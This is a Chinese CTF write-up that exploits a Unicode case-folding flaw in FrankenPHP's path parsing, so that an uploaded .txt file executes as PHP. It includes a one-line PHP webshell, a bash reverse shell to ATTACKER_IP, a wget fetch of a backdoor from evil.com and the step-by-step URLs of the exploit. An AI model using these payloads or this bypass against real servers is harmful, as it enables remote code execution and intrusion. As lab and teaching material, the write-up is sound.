CTF测试-ez_upload笔记思路 (writeup)

题目信息

  • 题目名称: ezupload

  • 提示: 请查询 frankenphp 并且试图找到他如何解析 url 路径的

源码分析

php 复制代码
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
  $filename = basename($_GET['filename'] ?? 'phpinfo.php');
  file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
  echo "File created.";
} elseif ($action === 'upload') {
  if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    $extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
    if ($extension === 'txt') {
      if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.";
      }
    }
  }
} else {
  highlight_file(__FILE__);
}

action=create :创建任意 PHP 文件并覆盖已有文件,文件名由 filename 参数指定;

action=upload:上传文件,但只允许 .txt的后缀文件;

环境信息

创建一个phpinfo文件,然后查看信息

(执行创建文件的命令后会服务端会在当前目录(Web 根目录)新建/覆盖 phpinfo.php,内容为 <?php phpinfo(); ?>)

bash 复制代码
http://localhost:8080/?action=create&filename=phpinfo.php

http://localhost:8080/phpinfo.php

通过访问 phpinfo.php 可以发现:

  • Server API: FrankenPHP
  • PHP Version: 8.4.15
  • open_basedir : /app/public:/tmp
  • disable_functions : 包含大量危险函数,但未禁用 system

什么是system?

system()是用来执行系统命令的函数:

典型的调用方式:(会把命令结果直接打印在HTTP响应中)

bash 复制代码
system('ls -la');
system('whoami');

测试者上传一个包含 system() 的 PHP 脚本(例如:<?php system($_GET['cmd']); ?>);

这个脚本被 Web 服务器当作 PHP 执行;

攻击者通过访问这个脚本,把任意系统命令传给 system() 执行,从而获得服务器命令行能力

1) 最简 WebShell:一句话命令执行

假设攻击者上传了这样一个文件(叫 shell.php):

复制代码
<?php system($_GET['cmd']); ?>

然后访问:

复制代码
http://example.com/uploads/shell.php?cmd=whoami

服务器就会:

  • 执行操作系统命令 whoami
  • 把输出直接写回 HTTP 响应;
  • 攻击者就能看到运行 PHP 的用户身份。

从这之后,攻击者可以不断改 cmd 参数执行:

  • ls -la /var/www/html
  • cat /etc/passwd
  • wget http://evil.com/backdoor.php -O /var/www/html/b.php

这就是一个最基础的 WebShell:只靠 system() + URL 参数就能执行任意命令。

2) 反弹 Shell(Reverse Shell)

首先让服务器主动连回测试者机器的某个端口,然后测试人员在自己的机器上监听这个端口,拿到一个交互式的shell。

简易代码:

php 复制代码
<?php
system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
?>

利用流程通常是:

  1. 测试者在自己的 VPS 上执行:nc -lvnp 4444(监听 4444 端口);
  2. 通过文件上传漏洞,把上面这段 PHP 上传到服务器并访问它;
  3. 服务器上的 PHP 调用 system() 执行 bash 命令;
  4. 一个交互式 shell 连回攻击者的机器。
3) system() 不是唯一选项,但很常见

在 WebShell 中,能执行系统命令的函数并不只有 system(),常见的一整批包括:

  • system()
  • exec()
  • shell_exec()
  • passthru()
  • proc_open() / popen()
  • pcntl_exec()
  • 以及反引号执行:$output = ls -la;

漏洞分析

参考:

php 复制代码
https://lexsd6.github.io/2026/01/10/Unicode字节绕过FrankenPHP FastCGI路径拆分匹配/

漏洞位于 FrankenPHP 的 CGI 路径解析逻辑中(frankenphp_src/cgi.go):

服务器需要确定 URL 路径中哪一部分对应 PHP 脚本,逻辑如下:

  1. 使用 strings.ToLower() 将路径转为小写
  2. 在小写路径中查找 .php 扩展名
  3. 使用在小写字符串中找到的索引来切片原始字符串

漏洞点 :该逻辑假设 len(lower(s)) == len(s),但在 Unicode 中这并不总是成立。

字符 Ⱥ (U+023A) 大小写转换后长度变化:

  • 大写:Ⱥ (UTF-8: 0xC8 0xBA -- 2 字节)
  • 小写: (UTF-8: 0xE2 0xB1 0xA5 -- 3 字节)

每个 Ⱥ 字符在路径中会使小写后的字符串长度增加 1 字节。

符号 Ⱥ (Unicode: U+023A, Latin Capital Letter A with right hook) 在文件上传漏洞中主要被用作 Unicode 欺骗 或 同形异义攻击 的一种手段。

Ⱥ (U+023A) 的核心价值在于它是一个 "非标准 A"

  1. 对于机器(黑名单/WAF) :它不是 A,所以能绕过检查。
  2. 对于系统(解析器/文件系统) :在某些条件下(如 Windows 短文件名生成或特定的 Unicode 标准化处理),它可能被当作 A 处理,从而导致文件被作为脚本执行。

利用原理与步骤

利用原理

构造 URL 如 .../ȺȺȺȺshell.php.txt.php

  1. 小写转换 :服务器将路径转为小写,4 个 Ⱥ(8 字节)变成 4 个 (12 字节),字符串增长 4 字节
  2. 索引计算 :服务器在扩展后的字符串中找到最后的 .php,假设索引为 N
  3. 切片操作 :服务器将索引 N 应用到原始(较短的)字符串上。由于原始字符串短 4 字节,切片索引 N 会落在原始字符串中 .php 实际起始位置之后 4 字节处

通过精确计算 Ⱥ 字符的数量,可以强制切片操作从原始路径中截断末尾的 .php 扩展名。服务器认为它在执行 PHP 脚本(因为 URL 以 .php 结尾),但实际解析的磁盘文件路径是我们上传的 .txt 文件。

服务器将路径转为小写,4 个 Ⱥ(8 字节)变成 4 个 (12 字节),字符串增长 4 字节,导致 .php 这四个字节溢出,ȺȺȺȺshell.php.txt.php 被解析为 ȺȺȺȺshell.php.txt 从而导致RCE

利用步骤

1、上传 Web Shel

  • 上传文件名:ȺȺȺȺshell.php.txt
  • 文件内容:
php 复制代码
<?php system($_GET['cmd']); ?>

2、创建触发文件

  • 访问 URL 创建文件:?action=create&filename=ȺȺȺȺshell.php.txt.php

3、触发RCE

  • 访问 URL:/ȺȺȺȺshell.php.txt.php?cmd=ls
  • URL 编码后:/%C8%BA%C8%BA%C8%BA%C8%BAshell.php.txt.php?cmd=ls

4、获取flag

  • 虽然 disable_functions 禁用了大量危险函数,但未禁用 system 函数,可以直接执行系统命令获取 flag:
  • /ȺȺȺȺshell.php.txt.php?cmd=cat /flag

总结

本题利用了 FrankenPHP 在处理 Unicode 字符时的 case-folding 漏洞。通过构造包含特殊 Unicode 字符(Ⱥ)的文件名,利用大小写转换后字符串长度不一致的特性,绕过了文件扩展名限制,成功将 .txt 文件作为 PHP 执行,最终实现 RCE 并获取 flag。

关键点

  1. FrankenPHP 的 CGI 路径解析存在 Unicode case-folding 漏洞
  2. 字符 Ⱥ (U+023A) 大小写转换后 UTF-8 编码长度不同
  3. 利用该特性可以绕过 .txt 扩展名限制
  4. system 函数未被禁用,可直接执行系统命令
相关推荐
Jerry_Gao92119 小时前
【CTF】一道非常精彩的CTF题目之 SSRF + CRLF + Python反序列化组合漏洞利用
python·web安全·网络安全·ctf·ssrf·crlf
unable code2 天前
内存取证-证取单简
网络安全·ctf·misc·内存取证
niaiheni3 天前
CTF 漏洞利用实战:五个典型案例深度解析
网络安全·php·ctf·rce
kali-Myon4 天前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
kali-Myon4 天前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
23zhgjx-zgx4 天前
USB 设备通信数据包审计与键值解析报告
网络·ctf·流量
国科安芯4 天前
火箭传感器控制单元的抗辐照MCU选型与环境适应性验证
单片机·嵌入式硬件·架构·risc-v·安全性测试
介一安全4 天前
【Web安全】XML注入全手法拆解
xml·web安全·安全性测试
国科安芯5 天前
抗辐照MCU在精密时频系统中的单粒子效应评估与可靠性验证
单片机·嵌入式硬件·架构·制造·安全性测试